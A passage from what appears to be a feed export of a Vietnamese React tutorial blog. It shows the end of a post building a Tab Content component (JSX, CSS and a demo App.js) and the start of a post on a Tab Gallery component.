keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">tabContent<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">tab-link </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>tabIndex <span class="token operator">===</span> index <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span> <span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">changeTabIndex</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>tabContent<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>tab-content-wrapper<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">tabContent<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">ref</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>refTabContents<span class="token punctuation">[</span>index<span class="token punctuation">]</span><span class="token punctuation">}</span></span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">tab-content</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>tabContent<span class="token punctuation">.</span>content<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-tab-contentcss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-tab-contentcss" aria-label="nội dung file tab contentcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file tab-content.css</h3> <p>File này dùng để xác định style cho Tab Content Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-tab-content</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">tab-content.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-tab-content, .lp-tab-content *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-content</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the tab */</span> <span class="token selector">.lp-tab-content > .tab</span> <span class="token punctuation">{</span> <span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> 1px solid #ccc<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the buttons that are used to open the tab content */</span> <span class="token selector">.lp-tab-content > .tab > .tab-link</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> inherit<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1.05rem<span class="token punctuation">;</span> <span class="token property">float</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">outline</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #444<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 14px 16px<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.3s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.3s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.3s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.3s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Change background color of buttons on hover */</span> <span class="token selector">.lp-tab-content > .tab > .tab-link:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #ddd<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Create an active/current tablink class */</span> <span class="token selector">.lp-tab-content > .tab > .tab-link.active</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #ccc<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-tab-content > .tab-content-wrapper</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the tab content */</span> <span class="token selector">.lp-tab-content > .tab-content-wrapper > .tab-content</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 6px 12px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> 1px solid #ccc<span class="token punctuation">;</span> <span class="token property">border-top</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">max-height</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-tab-gallery-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-tab-gallery-component" aria-label="sử dụng tab gallery component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Tab Gallery component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đây, mình kết hợp Tab Content với các React Component khác mà mình đã làm như: <a href="/hoc-react-qua-vi-du-1-slideshow/">Slideshow</a>, <a href="/hoc-react-qua-vi-du-3-modal-image/">Modal Image</a> và <a href="/hoc-react-qua-vi-du-4-lightbox/">Lightbox</a>.</p> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> TabContent <span class="token keyword">from</span> <span class="token string">"./components/tab-content/tab-content"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Slideshow trong Tab Content</span> <span class="token keyword">import</span> Slideshow <span class="token keyword">from</span> <span class="token string">"./components/slideshow/slideshow"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img1 <span class="token keyword">from</span> <span class="token string">"./images/01.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img2 <span class="token keyword">from</span> <span class="token string">"./images/02.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img3 <span class="token keyword">from</span> <span class="token string">"./images/03.jpg"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Modal Image trong Tab Content</span> <span class="token keyword">import</span> ModalImage <span class="token keyword">from</span> <span class="token string">"./components/modal-image/modal-image"</span><span class="token punctuation">;</span> <span class="token comment">// Kết hợp Lightbox trong Tab Content</span> <span class="token keyword">import</span> LightBox <span class="token keyword">from</span> <span class="token string">"./components/lightbox/lightbox"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img1<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption one"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img2<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption two"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img3<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption three"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> contents <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Section1"</span><span class="token punctuation">,</span> <span class="token literal-property property">content</span><span class="token operator">:</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris, nisi ut aliquip ex ea commodo consequat. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Section2"</span><span class="token punctuation">,</span> <span class="token literal-property property">content</span><span class="token operator">:</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> Slideshow </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Slideshow</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Section3"</span><span class="token punctuation">,</span> <span class="token literal-property property">content</span><span class="token operator">:</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Image Modal</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click the image below to show the modal.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">ModalImage</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>img2<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">This is one of beautiful girls</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Section 4"</span><span class="token punctuation">,</span> <span class="token literal-property property">content</span><span class="token operator">:</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">LightBox</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click on each image below to show the modal.</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">LightBox</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Tab Content</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text">Click on each section to change the tab's content</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">TabContent</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>contents<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Tab Content Component có các thuộc tính là:</p> <ul> <li><strong>input (<a href="/array-la-gi-array-trong-javascript/">Array</a>):</strong> mảng chứa thông tin các tab, với mỗi phần tử là một <a href="/object-la-gi-object-trong-javascript/">object </a> gồm <strong>title</strong> - tên của tab và <strong>content</strong> - là một react element được viết theo JSX để miêu tả nội dung phần content.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #6 – Tab Content. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/tab-content/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #5: Tab Gallery]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #5. Bài này mình sẽ thực hành React thông qua việc tạo Tab Gallery. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Như bạn thấy đó,…]]>https://completejavascript.com/hoc-react-qua-vi-du-5-tab-gallery/https://completejavascript.com/hoc-react-qua-vi-du-5-tab-gallery/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Sun, 11 Nov 2018 22:30:50 GMT<p>Xin chào bạn đến với Học React qua ví dụ #5. Bài này mình sẽ thực hành React thông qua việc tạo Tab Gallery. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/tab-gallery/" class="btn btn-primary margin-bottom"> Xem Demo Tab Gallery </a> <p>Như bạn thấy đó, hình ảnh được xếp thành một dãy (dạng tab). Và khi bạn click vào mỗi ảnh thì phiên bản lớn của mỗi ảnh sẽ được hiển thị xuống bên dưới. Đó chính là cách hoạt động của Tab Gallery.</p> <p>Bây giờ, mời bạn theo dõi cách giải quyết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #5 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre 